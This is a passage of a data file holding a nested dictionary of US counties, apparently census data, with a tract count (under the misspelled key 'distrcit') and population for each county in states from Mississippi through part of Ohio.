23401},\n 'Jackson': {'distrcit': 28, 'population': 139668},\n 'Jasper': {'distrcit': 4, 'population': 17062},\n 'Jefferson': {'distrcit': 2, 'population': 7726},\n 'Jefferson Davis': {'distrcit': 3, 'population': 12487},\n 'Jones': {'distrcit': 14, 'population': 67761},\n 'Kemper': {'distrcit': 2, 'population': 10456},\n 'Lafayette': {'distrcit': 10, 'population': 47351},\n 'Lamar': {'distrcit': 8, 'population': 55658},\n 'Lauderdale': {'distrcit': 19, 'population': 80261},\n 'Lawrence': {'distrcit': 3, 'population': 12929},\n 'Leake': {'distrcit': 5, 'population': 23805},\n 'Lee': {'distrcit': 19, 'population': 82910},\n 'Leflore': {'distrcit': 8, 'population': 32317},\n 'Lincoln': {'distrcit': 6, 'population': 34869},\n 'Lowndes': {'distrcit': 14, 'population': 59779},\n 'Madison': {'distrcit': 21, 'population': 95203},\n 'Marion': {'distrcit': 6, 'population': 27088},\n 'Marshall': {'distrcit': 6, 'population': 37144},\n 'Monroe': {'distrcit': 9, 'population': 36989},\n 'Montgomery': {'distrcit': 3, 'population': 10925},\n 'Neshoba': {'distrcit': 7, 'population': 29676},\n 'Newton': {'distrcit': 5, 'population': 21720},\n 'Noxubee': {'distrcit': 3, 'population': 11545},\n 'Oktibbeha': {'distrcit': 8, 'population': 47671},\n 'Panola': {'distrcit': 6, 'population': 34707},\n 'Pearl River': {'distrcit': 9, 'population': 55834},\n 'Perry': {'distrcit': 3, 'population': 12250},\n 'Pike': {'distrcit': 8, 'population': 40404},\n 'Pontotoc': {'distrcit': 6, 'population': 29957},\n 'Prentiss': {'distrcit': 5, 'population': 25276},\n 'Quitman': {'distrcit': 3, 'population': 8223},\n 'Rankin': {'distrcit': 27, 'population': 141617},\n 'Scott': {'distrcit': 6, 'population': 28264},\n 'Sharkey': {'distrcit': 2, 'population': 4916},\n 'Simpson': {'distrcit': 5, 'population': 27503},\n 'Smith': {'distrcit': 3, 'population': 16491},\n 'Stone': {'distrcit': 3, 'population': 17786},\n 'Sunflower': {'distrcit': 7, 'population': 29450},\n 'Tallahatchie': {'distrcit': 4, 'population': 15378},\n 'Tate': {'distrcit': 5, 'population': 28886},\n 'Tippah': {'distrcit': 4, 'population': 22232},\n 'Tishomingo': {'distrcit': 4, 'population': 19593},\n 'Tunica': {'distrcit': 3, 'population': 10778},\n 'Union': {'distrcit': 6, 'population': 27134},\n 'Walthall': {'distrcit': 3, 'population': 15443},\n 'Warren': {'distrcit': 12, 'population': 48773},\n 'Washington': {'distrcit': 19, 'population': 51137},\n 'Wayne': {'distrcit': 4, 'population': 20747},\n 'Webster': {'distrcit': 3, 'population': 10253},\n 'Wilkinson': {'distrcit': 2, 'population': 9878},\n 'Winston': {'distrcit': 5, 'population': 19198},\n 'Yalobusha': {'distrcit': 3, 'population': 12678},\n 'Yazoo': {'distrcit': 6, 'population': 28065}},\n 'MT': {'Beaverhead': {'distrcit': 3, 'population': 9246},\n 'Big Horn': {'distrcit': 5, 'population': 12865},\n 'Blaine': {'distrcit': 4, 'population': 6491},\n 'Broadwater': {'distrcit': 2, 'population': 5612},\n 'Carbon': {'distrcit': 5, 'population': 10078},\n 'Carter': {'distrcit': 1, 'population': 1160},\n 'Cascade': {'distrcit': 22, 'population': 81327},\n 'Chouteau': {'distrcit': 2, 'population': 5813},\n 'Custer': {'distrcit': 6, 'population': 11699},\n 'Daniels': {'distrcit': 1, 'population': 1751},\n 'Dawson': {'distrcit': 3, 'population': 8966},\n 'Deer Lodge': {'distrcit': 3, 'population': 9298},\n 'Fallon': {'distrcit': 1, 'population': 2890},\n 'Fergus': {'distrcit': 2, 'population': 11586},\n 'Flathead': {'distrcit': 19, 'population': 90928},\n 'Gallatin': {'distrcit': 22, 'population': 89513},\n 'Garfield': {'distrcit': 1, 'population': 1206},\n 'Glacier': {'distrcit': 4, 'population': 13399},\n 'Golden Valley': {'distrcit': 1, 'population': 884},\n 'Granite': {'distrcit': 1, 'population': 3079},\n 'Hill': {'distrcit': 6, 'population': 16096},\n 'Jefferson': {'distrcit': 3, 'population': 11406},\n 'Judith Basin': {'distrcit': 1, 'population': 2072},\n 'Lake': {'distrcit': 8, 'population': 28746},\n 'Lewis and Clark': {'distrcit': 14, 'population': 63395},\n 'Liberty': {'distrcit': 1, 'population': 2339},\n 'Lincoln': {'distrcit': 5, 'population': 19687},\n 'Madison': {'distrcit': 3, 'population': 7691},\n 'McCone': {'distrcit': 1, 'population': 1734},\n 'Meagher': {'distrcit': 1, 'population': 1891},\n 'Mineral': {'distrcit': 2, 'population': 4223},\n 'Missoula': {'distrcit': 20, 'population': 109299},\n 'Musselshell': {'distrcit': 2, 'population': 4538},\n 'Park': {'distrcit': 6, 'population': 15636},\n 'Petroleum': {'distrcit': 1, 'population': 494},\n 'Phillips': {'distrcit': 1, 'population': 4253},\n 'Pondera': {'distrcit': 2, 'population': 6153},\n 'Powder River': {'distrcit': 1, 'population': 1743},\n 'Powell': {'distrcit': 2, 'population': 7027},\n 'Prairie': {'distrcit': 1, 'population': 1179},\n 'Ravalli': {'distrcit': 10, 'population': 40212},\n 'Richland': {'distrcit': 4, 'population': 9746},\n 'Roosevelt': {'distrcit': 3, 'population': 10425},\n 'Rosebud': {'distrcit': 4, 'population': 9233},\n 'Sanders': {'distrcit': 3, 'population': 11413},\n 'Sheridan': {'distrcit': 2, 'population': 3384},\n 'Silver Bow': {'distrcit': 8, 'population': 34200},\n 'Stillwater': {'distrcit': 3, 'population': 9117},\n 'Sweet Grass': {'distrcit': 1, 'population': 3651},\n 'Teton': {'distrcit': 3, 'population': 6073},\n 'Toole': {'distrcit': 3, 'population': 5324},\n 'Treasure': {'distrcit': 1, 'population': 718},\n 'Valley': {'distrcit': 3, 'population': 7369},\n 'Wheatland': {'distrcit': 1, 'population': 2168},\n 'Wibaux': {'distrcit': 1, 'population': 1017},\n 'Yellowstone': {'distrcit': 32, 'population': 147972}},\n 'NC': {'Alamance': {'distrcit': 36, 'population': 151131},\n 'Alexander': {'distrcit': 7, 'population': 37198},\n 'Alleghany': {'distrcit': 3, 'population': 11155},\n 'Anson': {'distrcit': 6, 'population': 26948},\n 'Ashe': {'distrcit': 6, 'population': 27281},\n 'Avery': {'distrcit': 5, 'population': 17797},\n 'Beaufort': {'distrcit': 11, 'population': 47759},\n 'Bertie': {'distrcit': 4, 'population': 21282},\n 'Bladen': {'distrcit': 6, 'population': 35190},\n 'Brunswick': {'distrcit': 33, 'population': 107431},\n 'Buncombe': {'distrcit': 56, 'population': 238318},\n 'Burke': {'distrcit': 18, 'population': 90912},\n 'Cabarrus': {'distrcit': 37, 'population': 178011},\n 'Caldwell': {'distrcit': 17, 'population': 83029},\n 'Camden': {'distrcit': 2, 'population': 9980},\n 'Carteret': {'distrcit': 38, 'population': 66469},\n 'Caswell': {'distrcit': 6, 'population': 23719},\n 'Catawba': {'distrcit': 31, 'population': 154358},\n 'Chatham': {'distrcit': 13, 'population': 63505},\n 'Cherokee': {'distrcit': 7, 'population': 27444},\n 'Chowan': {'distrcit': 3, 'population': 14793},\n 'Clay': {'distrcit': 2, 'population': 10587},\n 'Cleveland': {'distrcit': 22, 'population': 98078},\n 'Columbus': {'distrcit': 13, 'population': 58098},\n 'Craven': {'distrcit': 21, 'population': 103505},\n 'Cumberland': {'distrcit': 68, 'population': 319431},\n 'Currituck': {'distrcit': 8, 'population': 23547},\n 'Dare': {'distrcit': 11, 'population': 33920},\n 'Davidson': {'distrcit': 34, 'population': 162878},\n 'Davie': {'distrcit': 7, 'population': 41240},\n 'Duplin': {'distrcit': 11, 'population': 58505},\n 'Durham': {'distrcit': 60, 'population': 267587},\n 'Edgecombe': {'distrcit': 14, 'population': 56552},\n 'Forsyth': {'distrcit': 93, 'population': 350670},\n 'Franklin': {'distrcit': 12, 'population': 60619},\n 'Gaston': {'distrcit': 65, 'population': 206086},\n 'Gates': {'distrcit': 3, 'population': 12197},\n 'Graham': {'distrcit': 3, 'population': 8861},\n 'Granville': {'distrcit': 13, 'population': 59916},\n 'Greene': {'distrcit': 4, 'population': 21362},\n 'Guilford': {'distrcit': 119, 'population': 488406},\n 'Halifax': {'distrcit': 12, 'population': 54691},\n 'Harnett': {'distrcit': 27, 'population': 114678},\n 'Haywood': {'distrcit': 16, 'population': 59036},\n 'Henderson': {'distrcit': 27, 'population': 106740},\n 'Hertford': {'distrcit': 5, 'population': 24669},\n 'Hoke': {'distrcit': 9, 'population': 46952},\n 'Hyde': {'distrcit': 2, 'population': 5810},\n 'Iredell': {'distrcit': 44, 'population': 159437},\n 'Jackson': {'distrcit': 9, 'population': 40271},\n 'Johnston': {'distrcit': 25, 'population': 168878},\n 'Jones': {'distrcit': 3, 'population': 10153},\n 'Lee': {'distrcit': 13, 'population': 57866},\n 'Lenoir': {'distrcit': 15, 'population': 59495},\n 'Lincoln': {'distrcit': 18, 'population': 78265},\n 'Macon': {'distrcit': 9, 'population': 33922},\n 'Madison': {'distrcit': 6, 'population': 20764},\n 'Martin': {'distrcit': 6, 'population': 24505},\n 'McDowell': {'distrcit': 10, 'population': 44996},\n 'Mecklenburg': {'distrcit': 233, 'population': 919628},\n 'Mitchell': {'distrcit': 4, 'population': 15579},\n 'Montgomery': {'distrcit': 6, 'population': 27798},\n 'Moore': {'distrcit': 18, 'population': 88247},\n 'Nash': {'distrcit': 18, 'population': 95840},\n 'New Hanover': {'distrcit': 45, 'population': 202667},\n 'Northampton': {'distrcit': 5, 'population': 22099},\n 'Onslow': {'distrcit': 32, 'population': 177772},\n 'Orange': {'distrcit': 28, 'population': 133801},\n 'Pamlico': {'distrcit': 4, 'population': 13144},\n 'Pasquotank': {'distrcit': 10, 'population': 40661},\n 'Pender': {'distrcit': 16, 'population': 52217},\n 'Perquimans': {'distrcit': 3, 'population': 13453},\n 'Person': {'distrcit': 7, 'population': 39464},\n 'Pitt': {'distrcit': 32, 'population': 168148},\n 'Polk': {'distrcit': 7, 'population': 20510},\n 'Randolph': {'distrcit': 28, 'population': 141752},\n 'Richmond': {'distrcit': 11, 'population': 46639},\n 'Robeson': {'distrcit': 31, 'population': 134168},\n 'Rockingham': {'distrcit': 21, 'population': 93643},\n 'Rowan': {'distrcit': 30, 'population': 138428},\n 'Rutherford': {'distrcit': 13, 'population': 67810},\n 'Sampson': {'distrcit': 11, 'population': 63431},\n 'Scotland': {'distrcit': 7, 'population': 36157},\n 'Stanly': {'distrcit': 13, 'population': 60585},\n 'Stokes': {'distrcit': 9, 'population': 47401},\n 'Surry': {'distrcit': 22, 'population': 73673},\n 'Swain': {'distrcit': 5, 'population': 13981},\n 'Transylvania': {'distrcit': 7, 'population': 33090},\n 'Tyrrell': {'distrcit': 1, 'population': 4407},\n 'Union': {'distrcit': 41, 'population': 201292},\n 'Vance': {'distrcit': 10, 'population': 45422},\n 'Wake': {'distrcit': 187, 'population': 900993},\n 'Warren': {'distrcit': 6, 'population': 20972},\n 'Washington': {'distrcit': 3, 'population': 13228},\n 'Watauga': {'distrcit': 13, 'population': 51079},\n 'Wayne': {'distrcit': 26, 'population': 122623},\n 'Wilkes': {'distrcit': 14, 'population': 69340},\n 'Wilson': {'distrcit': 19, 'population': 81234},\n 'Yadkin': {'distrcit': 7, 'population': 38406},\n 'Yancey': {'distrcit': 5, 'population': 17818}},\n 'ND': {'Adams': {'distrcit': 1, 'population': 2343},\n 'Barnes': {'distrcit': 4, 'population': 11066},\n 'Benson': {'distrcit': 4, 'population': 6660},\n 'Billings': {'distrcit': 1, 'population': 783},\n 'Bottineau': {'distrcit': 3, 'population': 6429},\n 'Bowman': {'distrcit': 2, 'population': 3151},\n 'Burke': {'distrcit': 1, 'population': 1968},\n 'Burleigh': {'distrcit': 19, 'population': 81308},\n 'Cass': {'distrcit': 33, 'population': 149778},\n 'Cavalier': {'distrcit': 2, 'population': 3993},\n 'Dickey': {'distrcit': 3, 'population': 5289},\n 'Divide': {'distrcit': 1, 'population': 2071},\n 'Dunn': {'distrcit': 1, 'population': 3536},\n 'Eddy': {'distrcit': 1, 'population': 2385},\n 'Emmons': {'distrcit': 1, 'population': 3550},\n 'Foster': {'distrcit': 1, 'population': 3343},\n 'Golden Valley': {'distrcit': 1, 'population': 1680},\n 'Grand Forks': {'distrcit': 18, 'population': 66861},\n 'Grant': {'distrcit': 1, 'population': 2394},\n 'Griggs': {'distrcit': 1, 'population': 2420},\n 'Hettinger': {'distrcit': 2, 'population': 2477},\n 'Kidder': {'distrcit': 1, 'population': 2435},\n 'LaMoure': {'distrcit': 2, 'population': 4139},\n 'Logan': {'distrcit': 1, 'population': 1990},\n 'McHenry': {'distrcit': 2, 'population': 5395},\n 'McIntosh': {'distrcit': 1, 'population': 2809},\n 'McKenzie': {'distrcit': 4, 'population': 6360},\n 'McLean': {'distrcit': 2, 'population': 8962},\n 'Mercer': {'distrcit': 3, 'population': 8424},\n 'Morton': {'distrcit': 5, 'population': 27471},\n 'Mountrail': {'distrcit': 3, 'population': 7673},\n 'Nelson': {'distrcit': 1, 'population': 3126},\n 'Oliver': {'distrcit': 1, 'population': 1846},\n 'Pembina': {'distrcit': 5, 'population': 7413},\n 'Pierce': {'distrcit': 2, 'population': 4357},\n 'Ramsey': {'distrcit': 3, 'population': 11451},\n 'Ransom': {'distrcit': 3, 'population': 5457},\n 'Renville': {'distrcit': 1, 'population': 2470},\n 'Richland': {'distrcit': 6, 'population': 16321},\n 'Rolette': {'distrcit': 4, 'population': 13937},\n 'Sargent': {'distrcit': 2, 'population': 3829},\n 'Sheridan': {'distrcit': 1, 'population': 1321},\n 'Sioux': {'distrcit': 2, 'population': 4153},\n 'Slope': {'distrcit': 1, 'population': 727},\n 'Stark': {'distrcit': 8, 'population': 24199},\n 'Steele': {'distrcit': 1, 'population': 1975},\n 'Stutsman': {'distrcit': 6, 'population': 21100},\n 'Towner': {'distrcit': 1, 'population': 2246},\n 'Traill': {'distrcit': 4, 'population': 8121},\n 'Walsh': {'distrcit': 6, 'population': 11119},\n 'Ward': {'distrcit': 13, 'population': 61675},\n 'Wells': {'distrcit': 2, 'population': 4207},\n 'Williams': {'distrcit': 7, 'population': 22398}},\n 'NE': {'Adams': {'distrcit': 9, 'population': 31364},\n 'Antelope': {'distrcit': 3, 'population': 6685},\n 'Arthur': {'distrcit': 1, 'population': 460},\n 'Banner': {'distrcit': 1, 'population': 690},\n 'Blaine': {'distrcit': 1, 'population': 478},\n 'Boone': {'distrcit': 2, 'population': 5505},\n 'Box Butte': {'distrcit': 3, 'population': 11308},\n 'Boyd': {'distrcit': 1, 'population': 2099},\n 'Brown': {'distrcit': 1, 'population': 3145},\n 'Buffalo': {'distrcit': 11, 'population': 46102},\n 'Burt': {'distrcit': 3, 'population': 6858},\n 'Butler': {'distrcit': 3, 'population': 8395},\n 'Cass': {'distrcit': 6, 'population': 25241},\n 'Cedar': {'distrcit': 2, 'population': 8852},\n 'Chase': {'distrcit': 1, 'population': 3966},\n 'Cherry': {'distrcit': 2, 'population': 5713},\n 'Cheyenne': {'distrcit': 3, 'population': 9998},\n 'Clay': {'distrcit': 2, 'population': 6542},\n 'Colfax': {'distrcit': 3, 'population': 10515},\n 'Cuming': {'distrcit': 3, 'population': 9139},\n 'Custer': {'distrcit': 4, 'population': 10939},\n 'Dakota': {'distrcit': 4, 'population': 21006},\n 'Dawes': {'distrcit': 2, 'population': 9182},\n 'Dawson': {'distrcit': 7, 'population': 24326},\n 'Deuel': {'distrcit': 1, 'population': 1941},\n 'Dixon': {'distrcit': 2, 'population': 6000},\n 'Dodge': {'distrcit': 9, 'population': 36691},\n 'Douglas': {'distrcit': 156, 'population': 517110},\n 'Dundy': {'distrcit': 1, 'population': 2008},\n 'Fillmore': {'distrcit': 2, 'population': 5890},\n 'Franklin': {'distrcit': 2, 'population': 3225},\n 'Frontier': {'distrcit': 1, 'population': 2756},\n 'Furnas': {'distrcit': 1, 'population': 4959},\n 'Gage': {'distrcit': 7, 'population': 22311},\n 'Garden': {'distrcit': 1, 'population': 2057},\n 'Garfield': {'distrcit': 1, 'population': 2049},\n 'Gosper': {'distrcit': 1, 'population': 2044},\n 'Grant': {'distrcit': 1, 'population': 614},\n 'Greeley': {'distrcit': 1, 'population': 2538},\n 'Hall': {'distrcit': 14, 'population': 58607},\n 'Hamilton': {'distrcit': 3, 'population': 9124},\n 'Harlan': {'distrcit': 1, 'population': 3423},\n 'Hayes': {'distrcit': 1, 'population': 967},\n 'Hitchcock': {'distrcit': 1, 'population': 2908},\n 'Holt': {'distrcit': 4, 'population': 10435},\n 'Hooker': {'distrcit': 1, 'population': 736},\n 'Howard': {'distrcit': 2, 'population': 6274},\n 'Jefferson': {'distrcit': 3, 'population': 7547},\n 'Johnson': {'distrcit': 2, 'population': 5217},\n 'Kearney': {'distrcit': 2, 'population': 6489},\n 'Keith': {'distrcit': 3, 'population': 8368},\n 'Keya Paha': {'distrcit': 1, 'population': 824},\n 'Kimball': {'distrcit': 1, 'population': 3821},\n 'Knox': {'distrcit': 3, 'population': 8701},\n 'Lancaster': {'distrcit': 74, 'population': 285407},\n 'Lincoln': {'distrcit': 8, 'population': 36288},\n 'Logan': {'distrcit': 1, 'population': 763},\n 'Loup': {'distrcit': 1, 'population': 632},\n 'Madison': {'distrcit': 9, 'population': 34876},\n 'McPherson': {'distrcit': 1, 'population': 539},\n 'Merrick': {'distrcit': 3, 'population': 7845},\n 'Morrill': {'distrcit': 1, 'population': 5042},\n 'Nance': {'distrcit': 1, 'population': 3735},\n 'Nemaha': {'distrcit': 2, 'population': 7248},\n 'Nuckolls': {'distrcit': 2, 'population': 4500},\n 'Otoe': {'distrcit': 5, 'population': 15740},\n 'Pawnee': {'distrcit': 1, 'population': 2773},\n 'Perkins': {'distrcit': 1, 'population': 2970},\n 'Phelps': {'distrcit': 3, 'population': 9188},\n 'Pierce': {'distrcit': 2, 'population': 7266},\n 'Platte': {'distrcit': 7, 'population': 32237},\n 'Polk': {'distrcit': 2, 'population': 5406},\n 'Red Willow': {'distrcit': 3, 'population': 11055},\n 'Richardson': {'distrcit': 3, 'population': 8363},\n 'Rock': {'distrcit': 1, 'population': 1526},\n 'Saline': {'distrcit': 4, 'population': 14200},\n 'Sarpy': {'distrcit': 43, 'population': 158840},\n 'Saunders': {'distrcit': 5, 'population': 20780},\n 'Scotts Bluff': {'distrcit': 11, 'population': 36970},\n 'Seward': {'distrcit': 4, 'population': 16750},\n 'Sheridan': {'distrcit': 2, 'population': 5469},\n 'Sherman': {'distrcit': 1, 'population': 3152},\n 'Sioux': {'distrcit': 1, 'population': 1311},\n 'Stanton': {'distrcit': 2, 'population': 6129},\n 'Thayer': {'distrcit': 2, 'population': 5228},\n 'Thomas': {'distrcit': 1, 'population': 647},\n 'Thurston': {'distrcit': 2, 'population': 6940},\n 'Valley': {'distrcit': 2, 'population': 4260},\n 'Washington': {'distrcit': 5, 'population': 20234},\n 'Wayne': {'distrcit': 2, 'population': 9595},\n 'Webster': {'distrcit': 2, 'population': 3812},\n 'Wheeler': {'distrcit': 1, 'population': 818},\n 'York': {'distrcit': 4, 'population': 13665}},\n 'NH': {'Belknap': {'distrcit': 15, 'population': 60088},\n 'Carroll': {'distrcit': 11, 'population': 47818},\n 'Cheshire': {'distrcit': 16, 'population': 77117},\n 'Coos': {'distrcit': 11, 'population': 33055},\n 'Grafton': {'distrcit': 19, 'population': 89118},\n 'Hillsborough': {'distrcit': 86, 'population': 400721},\n 'Merrimack': {'distrcit': 36, 'population': 146445},\n 'Rockingham': {'distrcit': 66, 'population': 295223},\n 'Strafford': {'distrcit': 25, 'population': 123143},\n 'Sullivan': {'distrcit': 10, 'population': 43742}},\n 'NJ': {'Atlantic': {'distrcit': 69, 'population': 274549},\n 'Bergen': {'distrcit': 179, 'population': 905116},\n 'Burlington': {'distrcit': 114, 'population': 448734},\n 'Camden': {'distrcit': 127, 'population': 513657},\n 'Cape May': {'distrcit': 32, 'population': 97265},\n 'Cumberland': {'distrcit': 35, 'population': 156898},\n 'Essex': {'distrcit': 210, 'population': 783969},\n 'Gloucester': {'distrcit': 63, 'population': 288288},\n 'Hudson': {'distrcit': 166, 'population': 634266},\n 'Hunterdon': {'distrcit': 26, 'population': 128349},\n 'Mercer': {'distrcit': 77, 'population': 366513},\n 'Middlesex': {'distrcit': 175, 'population': 809858},\n 'Monmouth': {'distrcit': 144, 'population': 630380},\n 'Morris': {'distrcit': 100, 'population': 492276},\n 'Ocean': {'distrcit': 126, 'population': 576567},\n 'Passaic': {'distrcit': 100, 'population': 501226},\n 'Salem': {'distrcit': 24, 'population': 66083},\n 'Somerset': {'distrcit': 68, 'population': 323444},\n 'Sussex': {'distrcit': 41, 'population': 149265},\n 'Union': {'distrcit': 108, 'population': 536499},\n 'Warren': {'distrcit': 23, 'population': 108692}},\n 'NM': {'Bernalillo': {'distrcit': 153, 'population': 662564},\n 'Catron': {'distrcit': 1, 'population': 3725},\n 'Chaves': {'distrcit': 16, 'population': 65645},\n 'Cibola': {'distrcit': 7, 'population': 27213},\n 'Colfax': {'distrcit': 3, 'population': 13750},\n 'Curry': {'distrcit': 12, 'population': 48376},\n 'De Baca': {'distrcit': 1, 'population': 2022},\n 'Dona Ana': {'distrcit': 41, 'population': 209233},\n 'Eddy': {'distrcit': 12, 'population': 53829},\n 'Grant': {'distrcit': 8, 'population': 29514},\n 'Guadalupe': {'distrcit': 1, 'population': 4687},\n 'Harding': {'distrcit': 1, 'population': 695},\n 'Hidalgo': {'distrcit': 2, 'population': 4894},\n 'Lea': {'distrcit': 18, 'population': 64727},\n 'Lincoln': {'distrcit': 5, 'population': 20497},\n 'Los Alamos': {'distrcit': 4, 'population': 17950},\n 'Luna': {'distrcit': 6, 'population': 25095},\n 'McKinley': {'distrcit': 17, 'population': 71492},\n 'Mora': {'distrcit': 1, 'population': 4881},\n 'Otero': {'distrcit': 16, 'population': 63797},\n 'Quay': {'distrcit': 3, 'population': 9041},\n 'Rio Arriba': {'distrcit': 9, 'population': 40246},\n 'Roosevelt': {'distrcit': 5, 'population': 19846},\n 'San Juan': {'distrcit': 33, 'population': 130044},\n 'San Miguel': {'distrcit': 7, 'population': 29393},\n 'Sandoval': {'distrcit': 28, 'population': 131561},\n 'Santa Fe': {'distrcit': 50, 'population': 144170},\n 'Sierra': {'distrcit': 4, 'population': 11988},\n 'Socorro': {'distrcit': 6, 'population': 17866},\n 'Taos': {'distrcit': 6, 'population': 32937},\n 'Torrance': {'distrcit': 4, 'population': 16383},\n 'Union': {'distrcit': 1, 'population': 4549},\n 'Valencia': {'distrcit': 18, 'population': 76569}},\n 'NV': {'Carson City': {'distrcit': 14, 'population': 55274},\n 'Churchill': {'distrcit': 7, 'population': 24877},\n 'Clark': {'distrcit': 487, 'population': 1951269},\n 'Douglas': {'distrcit': 17, 'population': 46997},\n 'Elko': {'distrcit': 14, 'population': 48818},\n 'Esmeralda': {'distrcit': 1, 'population': 783},\n 'Eureka': {'distrcit': 1, 'population': 1987},\n 'Humboldt': {'distrcit': 4, 'population': 16528},\n 'Lander': {'distrcit': 1, 'population': 5775},\n 'Lincoln': {'distrcit': 2, 'population': 5345},\n 'Lyon': {'distrcit': 10, 'population': 51980},\n 'Mineral': {'distrcit': 2, 'population': 4772},\n 'Nye': {'distrcit': 10, 'population': 43946},\n 'Pershing': {'distrcit': 1, 'population': 6753},\n 'Storey': {'distrcit': 1, 'population': 4010},\n 'Washoe': {'distrcit': 112, 'population': 421407},\n 'White Pine': {'distrcit': 3, 'population': 10030}},\n 'NY': {'Albany': {'distrcit': 75, 'population': 304204},\n 'Allegany': {'distrcit': 13, 'population': 48946},\n 'Bronx': {'distrcit': 339, 'population': 1385108},\n 'Broome': {'distrcit': 55, 'population': 200600},\n 'Cattaraugus': {'distrcit': 21, 'population': 80317},\n 'Cayuga': {'distrcit': 20, 'population': 80026},\n 'Chautauqua': {'distrcit': 35, 'population': 134905},\n 'Chemung': {'distrcit': 22, 'population': 88830},\n 'Chenango': {'distrcit': 12, 'population': 50477},\n 'Clinton': {'distrcit': 19, 'population': 82128},\n 'Columbia': {'distrcit': 21, 'population': 63096},\n 'Cortland': {'distrcit': 12, 'population': 49336},\n 'Delaware': {'distrcit': 14, 'population': 47980},\n 'Dutchess': {'distrcit': 79, 'population': 297488},\n 'Erie': {'distrcit': 237, 'population': 919040},\n 'Essex': {'distrcit': 13, 'population': 39370},\n 'Franklin': {'distrcit': 14, 'population': 51599},\n 'Fulton': {'distrcit': 15, 'population': 55531},\n 'Genesee': {'distrcit': 15, 'population': 60079},\n 'Greene': {'distrcit': 15, 'population': 49221},\n 'Hamilton': {'distrcit': 4, 'population': 4836},\n 'Herkimer': {'distrcit': 19, 'population': 64519},\n 'Jefferson': {'distrcit': 26, 'population': 116229},\n 'Kings': {'distrcit': 760, 'population': 2504700},\n 'Lewis': {'distrcit': 7, 'population': 27087},\n 'Livingston': {'distrcit': 15, 'population': 65393},\n 'Madison': {'distrcit': 16, 'population': 73442},\n 'Monroe': {'distrcit': 192, 'population': 744344},\n 'Montgomery': {'distrcit': 16, 'population': 50219},\n 'Nassau': {'distrcit': 280, 'population': 1339532},\n 'New York': {'distrcit': 288, 'population': 1585873},\n 'Niagara': {'distrcit': 61, 'population': 216469},\n 'Oneida': {'distrcit': 74, 'population': 234878},\n 'Onondaga': {'distrcit': 140, 'population': 467026},\n 'Ontario': {'distrcit': 25, 'population': 107931},\n 'Orange': {'distrcit': 79, 'population': 372813},\n 'Orleans': {'distrcit': 11, 'population': 42883},\n 'Oswego': {'distrcit': 29, 'population': 122109},\n 'Otsego': {'distrcit': 17, 'population': 62259},\n 'Putnam': {'distrcit': 19, 'population': 99710},\n 'Queens': {'distrcit': 669, 'population': 2230722},\n 'Rensselaer': {'distrcit': 42, 'population': 159429},\n 'Richmond': {'distrcit': 109, 'population': 468730},\n 'Rockland': {'distrcit': 65, 'population': 311687},\n 'Saratoga': {'distrcit': 50, 'population': 219607},\n 'Schenectady': {'distrcit': 43, 'population': 154727},\n 'Schoharie': {'distrcit': 8, 'population': 32749},\n 'Schuyler': {'distrcit': 5, 'population': 18343},\n 'Seneca': {'distrcit': 10, 'population': 35251},\n 'St. Lawrence': {'distrcit': 28, 'population': 111944},\n 'Steuben': {'distrcit': 30, 'population': 98990},\n 'Suffolk': {'distrcit': 322, 'population': 1493350},\n 'Sullivan': {'distrcit': 24, 'population': 77547},\n 'Tioga': {'distrcit': 10, 'population': 51125},\n 'Tompkins': {'distrcit': 23, 'population': 101564},\n 'Ulster': {'distrcit': 47, 'population': 182493},\n 'Warren': {'distrcit': 19, 'population': 65707},\n 'Washington': {'distrcit': 17, 'population': 63216},\n 'Wayne': {'distrcit': 23, 'population': 93772},\n 'Westchester': {'distrcit': 223, 'population': 949113},\n 'Wyoming': {'distrcit': 11, 'population': 42155},\n 'Yates': {'distrcit': 5, 'population': 25348}},\n 'OH': {'Adams': {'distrcit': 6, 'population': 28550},\n 'Allen': {'distrcit': 33, 'population': 106331},\n 'Ashland': {'distrcit': 11, 'population': 53139},\n 'Ashtabula': {'distrcit': 25, 'population': 101497},\n 'Athens': {'distrcit': 15, 'population': 64757},\n 'Auglaize': {'distrcit': 11, 'population': 45949},\n 'Belmont': {'distrcit': 20, 'population': 70400},\n 'Brown': {'distrcit': 9, 'population': 44846},\n 'Butler': {'distrcit': 80, 'population': 368130},\n 'Carroll': {'distrcit': 7, 'population': 28836},\n 'Champaign': {'distrcit': 10, 'population': 40097},\n 'Clark': {'distrcit': 44, 'population': 138333},\n 'Clermont': {'distrcit': 40, 'population': 197363},\n 'Clinton': {'distrcit': 9, 'population': 42040},\n 'Columbiana': {'distrcit': 24, 'population': 107841},\n 'Coshocton': {'distrcit': 10, 'population': 36901},\n 'Crawford': {'distrcit': 13, 'population': 43784},\n 'Cuyahoga': {'distrcit': 447, 'population': 1280122},\n 'Darke': {'distrcit': 12, 'population': 52959},\n 'Defiance': {'distrcit': 9, 'population': 39037},\n 'Delaware': {'distrcit': 35, 'population': 174214},\n 'Erie': {'distrcit': 19, 'population': 77079},\n 'Fairfield': {'distrcit': 28, 'population': 146156},\n 'Fayette': {'distrcit': 7, 'population': 29030},\n 'Franklin': {'distrcit': 284, 'population': 1163414},\n 'Fulton': {'distrcit': 9, 'population': 42698},\n 'Gallia': {'distrcit': 7, 'population': 30934},\n 'Geauga': {'distrcit': 21, 'population': 93389},\n 'Greene': {'distrcit': 35, 'population': 161573},\n 'Guernsey': {'distrcit': 10, 'population': 40087},\n 'Hamilton': {'distrcit': 222, 'population': 802374},\n 'Hancock': {'distrcit': 13, 'population': 74782},\n 'Hardin': {'distrcit': 7, 'population': 32058},\n 'Harrison': {'distrcit': 5, 'population': 15864},\n 'Henry': {'distrcit': 7, 'population': 28215},\n 'Highland': {'distrcit': 9, 'population': 43589},\n 'Hocking': {'distrcit': 7, 'population': 29380},\n 'Holmes': {'distrcit': 8, 'population': 42366},\n 'Huron': {'distrcit': 13, 'population': 59626},\n 'Jackson': {'distrcit': 7, 'population': 33225},\n 'Jefferson': {'distrcit': 23, 'population': 69709},\n 'Knox': {'distrcit': 12, 'population': 60921},\n 'Lake': {'distrcit': 59, 'population': 230041},\n 'Lawrence': {'distrcit': 16, 'population': 62450},\n 'Licking': {'distrcit': 32, 'population': 166492},\n 'Logan': {'distrcit': 11, 'population': 45858},\n 'Lorain': {'distrcit': 73, 'population': 301356},\n 'Lucas': {'distrcit': 127, 'population': 441815},\n 'Madison': {'distrcit': 12, 'population': 43435},\n 'Mahoning': {'distrcit': 70, 'population': 238823},\n 'Marion': {'distrcit': 18, 'population': 66501},\n 'Medina': {'distrcit': 37, 'population': 172332},\n 'Meigs': {'distrcit': 6, 'population': 23770},\n 'Mercer': {'distrcit': 9, 'population': 40814},\n 